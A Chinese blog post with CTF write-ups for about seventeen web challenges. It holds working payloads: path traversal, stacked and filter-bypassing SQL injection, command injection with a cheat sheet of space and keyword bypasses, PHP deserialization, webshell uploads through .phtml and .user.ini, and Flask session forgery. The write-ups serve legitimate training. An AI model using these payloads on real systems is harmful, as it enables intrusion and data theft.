Contents
  1. 1. 前言
  2. 2. [HCTF 2018]WarmUp
  3. 3. [强网杯 2019]随便注
  4. 4. [极客大挑战 2019]EasySQL1
  5. 5. [极客大挑战 2019]Havefun
  6. 6. [极客大挑战 2019]Secret File
  7. 7. [GXYCTF2019]Ping Ping Ping
  8. 8. [ACTF2020 新生赛]Exec 1
  9. 9. [极客大挑战 2019]Knife 1
  10. 10. [RoarCTF 2019]Easy Calc 1
  11. 11. [极客大挑战 2019]PHP 1
  12. 12. [极客大挑战 2019]Http 1
  13. 13. [极客大挑战 2019]Upload 1
  14. 14. [极客大挑战 2019]BabySQL 1
  15. 15. [HCTF 2018]admin1
  16. 16. [ACTF2020 新生赛]Upload1
  17. 17. [ACTF2020 新生赛]BackupFile1
  18. 18. [SUCTF 2019]CheckIn1

前言

​ 学如逆水行舟,不进则退

[HCTF 2018]WarmUp
[强网杯 2019]随便注
[极客大挑战 2019]EasySQL1
[极客大挑战 2019]Havefun
[极客大挑战 2019]Secret File
[GXYCTF2019]Ping Ping Ping
[ACTF2020 新生赛]Exec 1
[RoarCTF 2019]Easy Calc 1
[极客大挑战 2019]PHP 1
[极客大挑战 2019]Http 1
[极客大挑战 2019]Upload 1
[极客大挑战 2019]BabySQL 1
[HCTF 2018]admin1
[ACTF2020 新生赛]Upload1
[ACTF2020 新生赛]BackupFile1
[SUCTF 2019]CheckIn1

[HCTF 2018]WarmUp

打开source.php后,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //in_array()查找字符串中是否存在指定的值
return true;
}
$_page = mb_substr($page, 0 ,mb_strpos($page . '?', '?'));
//mb_substr(str,0,2)函数返回字符串的一部分
//mb_strpos(str1,str2)返回str2在str1中首次出现的位置
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr($_page, 0 ,mb_strpos($_page . '?', '?'));
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

这里面又有一个hint.php,打开之后只有一句话。flag not here, and flag in ffffllllaaaagggg

看来是要想办法读取到ffffllllaaaagggg的内容,来拿到flag。

先看看下面的主函数:

1
2
3
4
5
6
7
if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])中要求emmm::checkFile($_REQUEST['file']返回true,只要能返回true,就能include $_REQUEST['file'];

来看看emmm::checkFile($_REQUEST[‘file’]函数,在这个函数中

1
2
3
4
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (in_array($page, $whitelist)) { //in_array()查找字符串中是否存在指定的值
return true;
}

whitelist是个白名单,只允许source.php和hint.php。这个if判断,会判断参数中是否含有source.php和hint.php。如果存在则返回true,如果失败则执行下面的代码:

1
2
3
$_page = mb_substr($page, 0 ,mb_strpos($page . '?', '?'));
//mb_substr(str,0,2)函数返回字符串的一部分
//mb_strpos(str1,str2)返回str2在str1中首次出现的位置

这段代码,首先会通过mb_strpos()函数返回在page中?第一次出现的位置,然后通过mb_substr()函数截取这一部分的字符串,赋值给_page。然后再进入新一轮的if判断,此时_page如果是白名单中的字符串,返回true,如果还没有,则再通过urldecode()解码以及再次进行截取,进入if判断,成功返回true。

可以发现,这里有两个if都能返回true,我们只需要满足一处if条件,然后返回true,就可以利用 ../ 来穿越目录读取到我们想要的文件。

第一处

构造?file=source.php?../../../../../../../../../../ffffllllaaaagggg,经过mb_substr()时,就会只剩source.php,就会返回true,然后通过../即可穿越目录读取flag

第二处

第二处是在经过urldecode()解码之后再返回true,这样的话需要将?进行两次url编码,

?file=source.php%25%33%46/../../../../../../ffffllllaaaagggg

这样传入浏览器解码一次,?file=source.php%3F/../../../../../../ffffllllaaaagggg

urldecode()再解码一次,?file=source.php?/../../../../../../ffffllllaaaagggg

再经过截取,即可如上面一样,返回true。

[强网杯 2019]随便注

作为一个彩笔,这题触及我的知识盲区了。

开始的时候还是很愉快的,就SQL注入的老套路,1' order by 2#猜出两列之后,上1' union select 1,database()#之后,出现了return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);,过滤了很多这么多关键字,大写、双写也不行。网上找了找wp。

原来是堆叠注入

原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

0’;show databases;#

0’;show tables;#

0’;show columns from words;#

询1919810931114514表中所有列
1’;show columns from 1919810931114514;#(字符串为表名操作时要加反引号)

根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
方法一(修改数据库结构):
这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag
将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

这段代码的意思是将words表名改为words11919810931114514表名改为words,将现在的words表中的flag列名改为id
然后用1' or 1=1 #得到flag

[极客大挑战 2019]EasySQL1

使用万能密码即可得到flag,username=1' or 1#&password=1

[极客大挑战 2019]Havefun

查看源码

1
2
3
4
5
6
7
<?php
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
?>

提交?cat=dog,即可。

[极客大挑战 2019]Secret File

经过一系列的页面跳转,抓包,得到secret3.php,在里面得到源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

可以看到这段代码中没有过滤php://,并且提示flag在flag.php中,所以使用php伪协议读取?file=php://filter/read=convert.base64-encode/resource=flag.php得到base64解码即可。

[GXYCTF2019]Ping Ping Ping

image-20201202201824877

试试ip,正常回显

image-20201202202154220

试试命令执行

image-20201202202237785

查看flag.php

image-20201202223029487

猜测是空格被过滤了
用$IFS$1代替

image-20201202223258355

查看index.php

image-20201202223345593

可以看到过滤了很多字符

但是在最后我们看到了a变量,那我们是不是可以将a的值覆盖,然后进行绕过呢?

1
?ip=127.0.0.1||a=g;cat$IFS$1fla$a.php

查看源码即可

image-20201202224040703

还可以对cat flag.php进行编码

构造payload
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

知识点1:空格绕过

处理方法:1.全局变量

1
2
3
4
5
1.${IFS}
2.$IFS$1 #注释:最后一句的意识是取第几个参数的意思,当没有参数的时候,就不用考虑
3.重定向符:<>
4.定义变量#cmd=$'\x201234'&&echo$cmd 这个方式可以用ASCII编码,绕过所有字符限制。
5.{cat,flag.php} //用逗号实现了空格功能

知识点2:过滤字符了链接

1
2
3
4
5
6
7
8
9
10
11
echo ()|base64 -d|sh
echo ()| base64 -d|bash
`echo ()|base64 -d'
变量拼接a=l;b=s;$a$b
*贪婪匹配
反斜杠绕过 echo f\lag.php
编码绕过
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
特殊变量 1; l$@s -l;1 · 1; l$*s -l;1 1; l$ns -l;1 //n为任意数字都可以

[ACTF2020 新生赛]Exec 1

很简单的命令执行

|ls

|cat flag即可

[极客大挑战 2019]Knife 1

image-20201202230350501

直接上菜刀连接,在根目录下有flag

[RoarCTF 2019]Easy Calc 1

算了一下,

试了试||、&&、|、&、; 都不行,看看源码

image-20201204210320229

说是有waf,

$(“#content”).val()
获取id为content的HTML标签元素的值,是JQuery
$(“#content”)
同document.getElementById(“content”);
$(“#content”).val()
同document.getElementById(“content”).value;

但是看到了calc.php,访问一下

image-20201204210419176

加上num试试

image-20201204211624621

url编码之后才行

image-20201204211649123

image-20201204211720604

但是,一输入特殊字符就forbidden,应该是waf

可是我们不知道waf如何写的,,该如何绕过呢??
其实利用PHP的字符串解析特性就能够进行绕过waf!!
构造参数? num=phpinfo()(注意num前面有个空格)就能够绕过:

1
? num=phpinfo()

image-20201204222836272

由于“/”被过滤了,,,所以我们可以使用chr(47)来进行表示,进行目录读取:

image-20201204223354547

读取flag

file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

image-20201204223533883

[极客大挑战 2019]PHP 1

image-20201205194600014

备份网站?是暗示吗?

扫一下网站目录试试

python3 dirsearch.py -u http://9743478f-8031-45e4-9f2d-9643a2105dc9.node3.buuoj.cn/ -e *

image-20201205212413049

访问试试www.zip试试,拿到源码

index.php

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

要get提交select,然后反序列化

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

根据代码的意思,我们可以发现如果username=admin password=100然后我们再执行__destruct()

那接下来我们可以构造反序列Pyload了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>

image-20201205213502972

反序列化unserialize()的话它是会直接执行__wake up()这个魔术方法的。那我们就要想办法让这个反序列绕过__wake up()执行_\_destruct()

而在反序列化里,当前属性个数大于实际属性个数的时候,它就会直接绕过_wake up()从而执行__destruct()的。然后我们修改一下序列化字符串(name:2改成3)

1
?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

尝试之后居然不行?

image-20201205214543474

然后我们又意识到,这个变量是private

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字

段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

于是我们在构造一回pyload:

?select=O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}

image-20201205214639982

[极客大挑战 2019]Http 1

看看源码

image-20201205220909356

发现secret.php

image-20201205221102544

抓包修改refer头

image-20201205221645884

提示变成了Please use “Syclover” browser

修改User-agent: Syclover browser

image-20201205221759545

No!!! you can only read this locally!!

有毒?

修改X-Forwoeded-For: 127.0.0.1,得到flag

image-20201205221926010

[极客大挑战 2019]Upload 1

上传正常图片

image-20201205223408268

上传了个一句话木马,也是这样,

继续尝试,换个GIF马试试,上传shell123.jpg,回显不一样了,看来是需要GIF

image-20201205223646430

更改继续尝试

image-20201205224207314

继续尝试php3、php5、pht都失败

image-20201205224743897

最后发现phtml可以

image-20201205224810817

回显再次变成了说包含<?

更改木马内容为

再次上传

image-20201205224934243

尝试访问

image-20201205225015752

菜刀连接,找到flag

image-20201205225157201

[极客大挑战 2019]BabySQL 1

尝试万能密码username=1+or+1%3D1&password=1

image-20201205225854848

单引号闭合试试

image-20201205230013626

注释掉password后面的试试,,,,,额,还是不对

换之前的用户名admin

image-20201205230411507

回显了密码

猜测列数

image-20201205230538232

or被删除了,双写试试,还是被去掉了,大写也不行

用union select 试试

image-20201205231153819

又被删除了吗?

双写试试

?username=admin’+ununionion+selselectect+1,2,3%23&password=1

回显正常

image-20201205231229789

发现有三列

爆库

?username=-1’+ununionion+selselectect+1,2,database()%23&password=1

image-20201205231326467

爆表

image-20201205231606795

发现from information_schema,where都被过滤,双写试试

?username=-1’+ununionion+selselectect+1,2,group_concat(table_name)+frfromom+infoorrmation_schema.tables+whwhereere+table_schema=database()%23&password=1

image-20201205232043564

爆列

1
?username=-1'+ununionion+selselectect+1,2,group_concat(column_name)+frfromom+infoorrmation_schema.columns+whwhereere+table_name="b4bsql"%23&password=1

image-20201205232326740

查数据

?username=-1’+ununionion+selselectect+1,2,group_concat(username,”-“,passwoorrd)+frfromom+b4bsql%23&password=1

image-20201205232558100

[HCTF 2018]admin1

注册之后,登录

image-20201206141327995

查看源码

image-20201206141352225

只写着说youarenotadmin,要想办法变成admin了

于是就使用账号admin密码123发现直接就能等进去了。而且首页就显示出falg了,不感相信退出去输入密码123123发现显示密码错误。推测admin的密码真的是123。感觉考点肯定不是弱密码,估计是作者没太在意,假装不知道密码继续做下去。

在登陆的情况下能访问三个页面indexpostseditchange。逐个看看有没有什么能利用的地方。

​ index页面和之前的index页面查看源代码是一样的。
​ posts页面进入只会显示404,就算再后面新增了文章也是一样。
​ edit页面是一个类似博客编写页面,有两个文本框,但试了一下XSS都被过滤了。
​ change页面是一个修改密码的页面。可能存在逻辑漏洞,尝试一下。

image-20201206150605538

​ 发现不需要输入之前的密码直接输入新密码就行,这样就不存在多步骤校验可能存在的逻辑绕过。

image-20201206150644552

​ 查看报文发现报文中没有写用户名,里面只有一个新密码。证明用户名是通过session来获取的,所以也不存在中间截获修改的漏洞。但在修改密码页面的源代码中发现提示了我们整个工程的Git地址。

image-20201206152052920

拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}

可以从上面index页面模板看出只要从session中得到的值name为admin就会显示flag

查阅资料得知,flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中,也就是说其实只是将相关内容进行了加密保存到session中。和服务端的session不同,服务端的session保存在服务端中,依靠客户端cookie值中的sessionId来进行识别。本身sessionId是没有价值的,而客户端的session是可以被截取破解后得到有价值的原文。在网上找了一个解密的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#index.html
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
s = ".eJw9kMGKwkAQRH9l6bOHJGYvgoeVSSRCd1AmCdMXcTUmM9l2ISqaEf99gyye6lDFo6oesD329bmF2aW_1hPY2gPMHvDxDTMwkgy5LmKjM48qG3JVxOhLy24fYmViUqOqRWsEQ_LJ3bhuyi4VE43ZKm1Z4Y1V-kOuuKOkNtelY2Ui41qLah1QVQR5VVqjvzxV2UCqFF6WkquFxWhjWXU-r4qB_KojnUTsmph0EbCUbux0Yz3mXTJlyebwnMD-3B-3l9-uPr0noN6PE8ixxk_UGJOsb7wcq4kJaMkd641D10SkW8t65civB9PMXzgru6Z-k0guAf47p52MBuwOYk8hTOB6rvvXcRAG8PwD9uBt8Q.X8yKzg.NjWoGG8XKlG6tjeTodQ8RB7yquQ"
print(decryption(s.encode()))

image-20201206154108690

可以看到能解密出来原来的内容,能看到很明显一个是name字段正是我们之前注册的test。那只要改一下这个值,然后重新加密一下就可以了。加密的脚本看大佬的writeup上有个地址:https://github.com/noraj/flask-session-cookie-manager。拿到后直接使用即可。加密还需要一个值SECRET_KEY,这个在config.py中能看到。

伪造flask session还需要一个SECRET_KEY

我们发现config.py中存在,SECRET_KEY = os.environ.get(‘SECRET_KEY’) or ‘ckj123’flask session加密脚本https://github.com/noraj/flask-session-cookie-manager

payload:伪造的session

1
{'_fresh': True, '_id': b'2ff34a5077d2f711c7aa5fb35b61ebe2d8cf4081a56609f46c43d95e51de0efa5713b6d78b48664e4d4bbf4aabb1fd6b6484b97d2b48997ce7a83878b78781d1', 'csrf_token': b'44463a5670f0c0ad61ab0d2dc0ae725a14808b81', 'image': b'MAuE', 'name': 'admin', 'user_id': '10'}

image-20201206154739515

替换掉原来的session即可

image-20201206154815618

[ACTF2020 新生赛]Upload1

image-20201206155541463

上传正常图片返回路径,并且可以访问

image-20201206155656232

上传php文件,回显如上,应该是前端的白名单校验,更改后缀名上传

image-20201206160053725

可见知识校验后缀名,但是访问之后,php未被解析

image-20201206160127612

后来发现phtml可以绕过,但是php没解析?

换成js

image-20201206162054068

image-20201206162106152

[ACTF2020 新生赛]BackupFile1

image-20201206164026421

​ 在index.php.bak中找到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

传入一个key,这个key必须是数字,但是还必须要和str相等,按理来说是不可能的,但是这里用的是==,php中存在弱比较问题,即123和123xxxxx是相等的,它只会取字符串前面的数字进行比较

所以payload:?key=123

image-20201206171115527

[SUCTF 2019]CheckIn1

提交一个正常文件

image-20201206174807392

显示有<?,不能写php马,写js的马,又提示内容不是图片,所以再加上GIF89a头,即可绕过,

image-20201206175235243

菜刀连不上?。。。。。。

百度一下,哦,是要利用.user.ini文件

image-20201206181514369

条件:

  • 1、服务器脚本语言为PHP
  • 2、服务器使用CGI/FastCGI模式
  • 3、上传目录下要有可执行的php文件

上传.user.ini绕过黑名单检验

1
2
3
GIF89a                  //绕过exif_imagetype()
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=a.jpg //解析后进行包含

优势:跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

上传这样的一个ini文件

1
2
GIF89a
auto_prepend_file=shell.jpg

image-20201206181743642

再上传我们之前的shell.jpg

image-20201206181849837

访问index.php, 注意:上传目录下要有一个正常的php文件,这里为index.php

image-20201206182056945

菜刀连接

image-20201206182140524

一直连不上,,换个马

image-20201206182238440

直接读取

image-20201206182252029

Contents
  1. 1. 前言
  2. 2. [HCTF 2018]WarmUp
  3. 3. [强网杯 2019]随便注
  4. 4. [极客大挑战 2019]EasySQL1
  5. 5. [极客大挑战 2019]Havefun
  6. 6. [极客大挑战 2019]Secret File
  7. 7. [GXYCTF2019]Ping Ping Ping
  8. 8. [ACTF2020 新生赛]Exec 1
  9. 9. [极客大挑战 2019]Knife 1
  10. 10. [RoarCTF 2019]Easy Calc 1
  11. 11. [极客大挑战 2019]PHP 1
  12. 12. [极客大挑战 2019]Http 1
  13. 13. [极客大挑战 2019]Upload 1
  14. 14. [极客大挑战 2019]BabySQL 1
  15. 15. [HCTF 2018]admin1
  16. 16. [ACTF2020 新生赛]Upload1
  17. 17. [ACTF2020 新生赛]BackupFile1
  18. 18. [SUCTF 2019]CheckIn1